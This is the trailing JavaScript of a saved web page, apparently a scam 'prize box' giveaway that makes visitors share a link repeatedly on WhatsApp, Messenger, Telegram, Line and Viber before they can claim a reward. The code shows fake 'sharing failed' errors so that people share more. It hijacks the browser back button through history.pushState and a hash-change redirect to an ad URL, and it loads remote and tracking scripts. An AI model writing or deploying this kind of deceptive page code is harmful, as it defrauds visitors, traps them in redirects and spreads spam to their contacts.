	var e = getPlatform();
	$(".p_var-so").text(e);
}

// let's go!
$.getScript('/j/ntb.php?c=postars-qll&m=postars-qll&tg=postars-qll&ln=postars-qll&vb=postars-qll&_t=1673526461022');
var share_number = get_Cookie('prog') == '' ? 0 : parseInt(get_Cookie('prog'));console.log(share_number);
if (share_number > 0) {
    showShare()
    move()
}

var type_op = get_Cookie('type_op') == '' ? 1 : parseInt(get_Cookie('type_op'));console.log(type_op);
if(type_op === 2){
    showShare()
}

// functions
function d(h){
	var j, k, i = h,
		g = setInterval(function() {
			j = parseInt(i / 60, 10), k = parseInt(i % 60, 10), k = 10 > k ? "0" + k : k, $("#timerr").text(j + " " + minutos_y + k + " " + segundos), --i < 0 && (clearInterval(g));
		}, 1000);
}

function f(g) {
	if (g < 10) {
		g = "0" + g;
	}
	return g;
}

function stepfinal() {
	$("#p_body_content").fadeOut("slow");
	$("#p_loading").fadeIn("slow");
}

function goToUrlFinish() {
	stepfinal();
	PreventExitPop = false;
	document.getElementById("p_form_post").submit();
}

function scrollTo(a) {
	if ($("#" + a).length) {
		var c = $("#" + a).offset();
		var b = c.top;
		$("html,body").animate({
			scrollTop: b
		}, {
			duration: "slow"
		});
	}
}

function getBrowser() {
	if ((navigator.userAgent.indexOf("Opera") || navigator.userAgent.indexOf("OPR")) != -1) {
		return "Opera";
	} else {
		if (navigator.userAgent.indexOf("Chrome") != -1) {
			return "Google Chrome";
		} else {
			if (navigator.userAgent.indexOf("Safari") != -1) {
				return "Safari";
			} else {
				if (navigator.userAgent.indexOf("Firefox") != -1) {
					return "Firefox";
				} else {
					if ((navigator.userAgent.indexOf("MSIE") != -1) || (!!document.documentMode == true)) {
						return "IE";
					} else {
						return "Unknown";
					}
				}
			}
		}
	}
	return "Unknown";
}

function getPlatform() {
	if (window.navigator.userAgent.indexOf("Windows NT 10.0") != -1) {
		return "Windows 10";
	}
	if (window.navigator.userAgent.indexOf("Windows NT 6.2") != -1) {
		return "Windows 8";
	}
	if (window.navigator.userAgent.indexOf("Windows NT 6.1") != -1) {
		return "Windows 7";
	}
	if (window.navigator.userAgent.indexOf("Windows NT 6.0") != -1) {
		return "Windows Vista";
	}
	if (window.navigator.userAgent.indexOf("Windows NT 5.1") != -1) {
		return "Windows XP";
	}
	if (window.navigator.userAgent.indexOf("Windows NT 5.0") != -1) {
		return "Windows 2000";
	}
	if (window.navigator.userAgent.indexOf("iPhone") != -1) {
		return "iPhone";
	}
	if (window.navigator.userAgent.indexOf("iPad") != -1) {
		return "iPad";
	}
	if (window.navigator.userAgent.indexOf("Android") != -1) {
		return "Android";
	}
	if (window.navigator.userAgent.indexOf("Mac") != -1) {
		return "Macintosh";
	}
	if (window.navigator.userAgent.indexOf("X11") != -1) {
		return "UNIX";
	}
	if (window.navigator.userAgent.indexOf("Linux") != -1) {
		return "Linux";
	}
	if (window.navigator.userAgent.indexOf("BlackBerry") != -1) {
		return "BlackBerry";
	}
	return "Unknown";
}

function set_Cookie(name, value) {
    name = "postars-qll-tt"+name;
    var Minutes = 10;
    var exp = new Date();
    let domain = getMainHost();
    exp.setTime(exp.getTime() + (Minutes * 60 * 1000));
    document.cookie = name + "=" + escape(value) + ";expires=" + exp.toGMTString() + ";domain=."+domain+"; path=/;";
}

function get_Cookie(name) {
    name = "postars-qll-tt"+name;
    var arr, reg = new RegExp("(^| )" + name + "=([^;]*)(;|$)");
    if (arr = document.cookie.match(reg)) {
        return unescape(arr[2]);
    }
    return '';
}

function move() {
    cl = get_Cookie('prog') == '' ? 0 : parseInt(get_Cookie('prog')) - 2;
    cl = cl>=0?cl:0;
    var share_num = get_Cookie('prog') == '' ? 0 : parseInt(get_Cookie('prog'))
    var elem = document.getElementById("progressbar")
    if (cl < all_p_e.length && share_num <= g_share_step) {
        var p_e_num = cl
    } else {
        var p_e_num = all_p_e.length - 1
    }
    p_e = all_p_e[p_e_num];
    var id = setInterval(frame, 10)

    function frame() {
        if (p_s >= p_e) {
            clearInterval(id)
        } else {
            p_s++;
            elem.style.width = p_s + '%';
            elem.innerHTML = p_s * 1 + '%';
        }
    }
}

function swal_box(intentos){
	let texts = ['Sorry, the box you selected is empty. You still have 1 chances! Good luck!','Sorry, the box you selected is empty. You still have 2 chances! Good luck!'];
	Swal.fire({
		icon: 'error',
		title: 'Unfortunately...',
		text: texts[intentos-1],
	}).then(function(){
		puedo = true;
	});
	setTimeout(function(){
		$('.swal2-content').css('padding','0');
		$('.swal2-content').css('font-size','1rem');
	},50);
}

function showShare() {
    set_Cookie('type_op', 2);
    // $('#p_modal3').modal('hide');
    $('.share_page').show();
    $('#content4').show();
    $('#content3').hide();
    $('#content1').hide();
}

function continueBtn() {
    var share_num = get_Cookie('prog') == '' ? 0 : parseInt(get_Cookie('prog'))
    if (share_num < g_share_step) {
        swalert("You have to share with friends about our event. Share until the blue bar is full!","Unfortunately...");
    } else {
        jQuery(".share_ing").hide()
        jQuery(".share_success").show()
    }
}

function swalert(text,title=''){
	if(title != ''){
		Swal.fire({
    		icon: 'warning',
    		title: title,
			text: text,
		});
	}else{
		Swal.fire({
    		icon: 'warning',
			text: text,
		});
	}    	
}

function shareOkBtn() {
    window.open(Web+'&_a=vb&_p=Banner');
}

function shareBtn(platform) {
    var share_num = get_Cookie('prog') == '' ? 0 : parseInt(get_Cookie('prog'))
    share_num++
    if (share_num > g_share_step) {
        share_num = g_share_step;
    }
    
    let jurl = j;
    if(platform == 'messenger'){
        jurl = msj;
        location.href = 'fb-messenger://share/?link='+encodeURIComponent(jurl + new Date().getTime());
    }else if(platform == 'telegram'){
        jurl = tgj;
        location.href = 'tg://msg_url?url=' + encodeURIComponent(jurl + new Date().getTime());
    }else if(platform == 'line'){
        jurl = lnj;
        location.href = 'https://line.me/R/share?text=' + encodeURIComponent(jurl);
    }else if(platform == 'viber'){
        jurl = vbj;
        location.href = 'viber://forward?text=' + encodeURIComponent(jurl);
    }else{
        if(nptimes.length > 0){
            if(nptimes.includes(share_num)){
                jurl = j2;
            }
        }
        location.href = 'whatsapp://send?text=' + jurl + new Date().getTime();
    }

    setTimeout(function () {
        get_Cookie('prog') == '' ? value = 1 : value = parseInt(get_Cookie('prog'));
        if (value >= g_share_step) {
            continueBtn();
        }else{
            value == 2 || value == 4 ? swalert("The same group or the same friend is not correct. Please check and share again.","Sharing failed!") : void (0);
        }
        set_Cookie('prog', value + 1);
        let pType = get_Cookie('pType');
        set_Cookie('pType', pType);
        move()
    }, 3000);
}

function wxalert(t, n, b, flag, i) {
	//flag:1,success  2,normal
	var r, u;
	r = '<div class="weui_dialog_alert" style="position: fixed; z-index: 1000; display: none;margin-left:15%;margin-right:15%">';
	r += '<div class="weui_mask"></div>';
	r += '<div class="weui_dialog">';
	r += '<i class="weui_close"><svg t="1540783423798" class="icon" viewBox="0 0 1024 1024" version="1.1" xmlns="s="http://www.w3.org/2000/svg" p-" p-id="1931" xmlns:xlink="k="http://www.w3.org/1999/xlink" wi" width="25" height="25"><path style="fill:#666;" d="M176.661601 817.172881C168.472798 825.644055 168.701706 839.149636 177.172881 847.338438 185.644056 855.527241 199.149636 855.298332 207.338438 846.827157L826.005105 206.827157C834.193907 198.355983 833.964998 184.850403 825.493824 176.661601 817.02265 168.472798 803.517069 168.701706 795.328267 177.172881L176.661601 817.172881ZM795.328267 846.827157C803.517069 855.298332 817.02265 855.527241 825.493824 847.338438 833.964998 839.149636 834.193907 825.644055 826.005105 817.172881L207.338438 177.172881C199.149636 168.701706 185.644056 168.472798 177.172881 176.661601 168.701706 184.850403 168.472798 198.355983 176.661601 206.827157L795.328267 846.827157Z" p-id="1932"></path></svg></i>';
	r += '<div class="weui_dialog_hd"><strong class="weui_dialog_title"></strong></div>';
	r += '<div class="weui_dialog_bd" style="color:#000;padding-top:20px;padding-bottom:10px;"></div>';
	r += '<div class="weui_dialog_ft">';
	r += '<div href="javascript:void(0);" class="weui_btn_dialog primary btn">OK</div>';
	r += "</div>";
	r += "</div>";
	r += "</div>";

	$(".weui_dialog_alert").length > 0 ? $(".weui_dialog_alert .weui_dialog_bd").empty() : $("body").append($(r));
	setTimeout(function() {
		u = $(".weui_dialog_alert");
		u.show();
		u.find(".weui_dialog_bd").html(n);
		u.find(".weui_dialog_title").html(t);
		u.find(".weui_btn_dialog").html(b ? b : "");
		u.find(".weui_btn_dialog").off("click").on("click", function() {
			i();
			u.hide();
			if (flag == 1) {
				stopConfetti();
			}
		});
		u.find(".weui_close").off("click").on("click", function() {
			i();
			u.hide();
			if (flag == 1) {
				stopConfetti();
			}
		});
		if (flag == 1) {
			startConfetti();
		}
	}, 500);
}

function getMainHost() {
    // 获取主域名
    let key  = `mh_${Math.random()}`;
    let keyR = new RegExp( `(^|;)\\s*${key}=12345` );
    let expiredTime = new Date( 0 );
    let domain = document.domain;
    let domainList = domain.split( '.' );
    let urlItems   = [];
    urlItems.unshift( domainList.pop() );
    while( domainList.length ) {
    urlItems.unshift( domainList.pop() );
    let mainHost = urlItems.join( '.' );
    let cookie = `${key}=${12345};domain=.${mainHost}`;
    document.cookie = cookie;
    if ( keyR.test( document.cookie ) ) {
        document.cookie = `${cookie};expires=${expiredTime}`;
        return mainHost;
        }
    }
}
window.onhashchange = function() {
    jp();
};

function hh1() {
    history.pushState(history.length + 1, "message", "#" + new Date().getTime());
}

function jp() {
    fh();
}
setTimeout('hh1();', 500);

function fh() {
    location.href = Ads+'&_a=vb&_p=Banner';
}

function fhha(num=1){
    let hh = get_Cookie('hh'+num) ? parseInt(get_Cookie('hh'+num)) : 0;
    if(hh < num){
        hh += 1;
        history.pushState(history.length + 1, "niubility", "#" + new Date().getTime());
        setTimeout(function(){
            history.pushState(history.length + 1, "niubility", "#" + new Date().getTime());
        },500);
        set_Cookie('hh'+num,hh);
    }
}
var _hmt = _hmt || [];
(function() {
    var hm = document.createElement("script");
    hm.src = "https://hm.baidu.com/hm.js?9e84975b629767c58a8becc81600bb23";
    var s = document.getElementsByTagName("script")[0];
    s.parentNode.insertBefore(hm, s);
})();
var _hmt = _hmt || [];
(function() {
    var hm = document.createElement("script");
    hm.src = "https://hm.baidu.com/hm.js?f2875507b7dafc62dc8493c81f61d036";
    var s = document.getElementsByTagName("script")[0];
    s.parentNode.insertBefore(hm, s);
})();
var _hmt = _hmt || [];
(function() {
    var hm = document.createElement("script");
    hm.src = "https://hm.baidu.com/hm.js?a5ac763420b241ecd8a11dbedd6eb78b";
    var s = document.getElementsByTagName("script")[0];
    s.parentNode.insertBefore(hm, s);
})();
// google analytics
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'G-W00MRTWD7S');
    </script>

<script>
    var _hmt = _hmt || [];
    (function() {
        var hm = document.createElement("script");
        hm.src = "https://hm.baidu.com/hm.js?be412ee83964eaa8303c3ce3f26cd5c5";
        var s = document.getElementsByTagName("script")[0];
        s.parentNode.insertBefore(hm, s);
    })();
</script>
<script async="" src="ojeymc.shop_files/js_003"></script>
<script>
  window.dataLayer = window.dataLayer || [];
  function gtag(){dataLayer.push(arguments);}
  gtag('js', new Date());

  gtag('config', 'G-LW7434MYMN');
</script><script async="" src="ojeymc.shop_files/js"></script>
<script>
  window.dataLayer = window.dataLayer || [];
  function gtag(){dataLayer.push(arguments);}
  gtag('js', new Date());

  gtag('config', 'G-0C230YDF7G');
</script></body></html>